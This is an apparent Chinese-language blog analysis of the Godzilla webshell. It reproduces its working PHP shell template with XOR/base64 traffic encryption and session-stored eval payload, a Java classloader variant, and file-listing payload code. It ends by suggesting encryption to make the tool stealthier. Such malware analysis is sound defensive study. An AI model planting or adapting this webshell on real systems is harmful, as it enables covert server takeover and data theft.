哥斯拉分析

 

哥斯拉分析

https://github.com/BeichenDream/Godzilla

 

流量加密分析

随便找一个功能按钮进去跟一下,发现流量加密的逻辑都在

image-20201202112049226

这三种加密的思路都是类似的,这里以php(base64.bin)为例进行分析

要使用哥斯拉需要上传这个脚本

<?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='{pass}';
    $V='payload';
    $T='{secretKey}';
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
            $R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }

PhpXor记录了初始化的方法:

public void init(ShellEntity context) {
        this.shell = context;
        this.http = this.shell.getHttp();
        this.key = this.shell.getSecretKeyX().getBytes();
        this.pass = this.shell.getPassword();
        String findStrMd5 = functions.md5(this.pass + new String(this.key));
        this.findStrLeft = findStrMd5.substring(0, 16);
        this.findStrRight = findStrMd5.substring(16);

        try {
            this.payload = this.shell.getPayloadModel().getPayload();//获取payloads目录下的payload.php
            if (this.payload != null) {
                this.http.sendHttpResponse(this.payload);
                this.state = true;
            } else {
                Log.error("payload Is Null");
            }

        } catch (Exception var4) {
            Log.error(var4);
        }
    }

加密的方式很简单,将要传输数据base64encode后与密钥(key)进行异或得到的二进制数据再base64encode

在进入shell管理界面的时候,会进行一次初始化,将功能代码注入到session中,而不是类似其他产品将功能代码写在请求体中

if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);//payload.php
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
            $R->nvoke($A[0]);//执行payload.php中的代码
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }

在java中也是将代码注入到session中

相关代码如下:

class X extends ClassLoader{
    public X(ClassLoader z){
        super(z);
    }
    public Class Q(byte[] cb){
        return super.defineClass(cb, 0, cb.length);
    } 
}
if (session.getAttribute("payload")==null){
        session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));//将代码注入到session中
    }else{
        request.setAttribute("parameters", new String(data));
        Object f=((Class)session.getAttribute("payload")).newInstance();
        f.equals(pageContext);
        response.getOutputStream().write(x(base64Decode(f.toString()), true));
    }

 

功能代码分析

和流量加密相同,php,c#,java中实现文件/数据库管理,命令执行等功能的思路是类似的

将功能代码保存到session中,在调用对应的函数

还是以php为例

@PayloadAnnotation(
    Name = "PhpDynamicPayload"
)
public class PhpShell implements Payload {
    private static final String BASICINFO_REGEX = "(FileRoot|CurrentDir|OsInfo|CurrentUser) : (.+)";
    private static final String[] ALL_DATABASE_TYPE = new String[]{"mysql", "oracle", "sqlserver", "postgresql"};
    private ShellEntity shell;
    private Http http;
    private Encoding encoding;
    private String fileRoot;
    private String currentDir;
    private String currentUser;
    private String osInfo;
    private String basicsInfo;

    public PhpShell() {
    }

    public void init(ShellEntity shellContext) {
        this.shell = shellContext;
        this.http = this.shell.getHttp();
        this.encoding = Encoding.getEncoding(this.shell);
    }

    public String getFile(String filePath) {
        filePath = functions.formatDir(filePath);
        ReqParameter parameters = new ReqParameter();
        parameters.add("dirName", this.encoding.Encoding(filePath.length() > 0 ? filePath : " "));
        return this.encoding.Decoding(this.evalFunc((String)null, "getFile", parameters));
    }
    ......一堆类似的代码
    public byte[] evalFunc(String className, String funcName, ReqParameter praameter) {
        if (className != null && className.trim().length() > 0) {
            praameter.add("codeName", className);
        }

        praameter.add("methodName", funcName);
        byte[] data = praameter.format().getBytes();
        return this.http.sendHttpResponse(data).getResult();
    }

}

调用了evalFunc还有添加参数

evalFunc还是在添加参数,

相关的逻辑都被封装保存在了session当中

payload.php

...
function getFile(){
    $dir=get('dirName');
    $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
    $dir.="/";
    $path=$dir;
    $allFiles = @scandir($path);
    $data="";
    if ($allFiles!=null){
        $data.="ok";
        $data.="\n";
        $data.=$path;
        $data.="\n";
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                $fullPath = $path.$fileName;
                $lineData=array();
                array_push($lineData,$fileName);
                array_push($lineData,@is_file($fullPath)?"1":"0");
                array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
                array_push($lineData,@filesize($fullPath));
                $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
                array_push($lineData,(strlen($fr)>0?$fr:"F"));
                $data.=(implode("\t",$lineData)."\n");
            }

        }
    }else{
        return "Path Not Found Or No Permission!";
    }
    return $data;
}
...

插件中也是使用类似的思路

 

总结

加密流量+功能代码保存在session中是哥斯拉主要的思路,个人觉得可以改进的地方是,php保存在session中的代码可以加密一下

(完)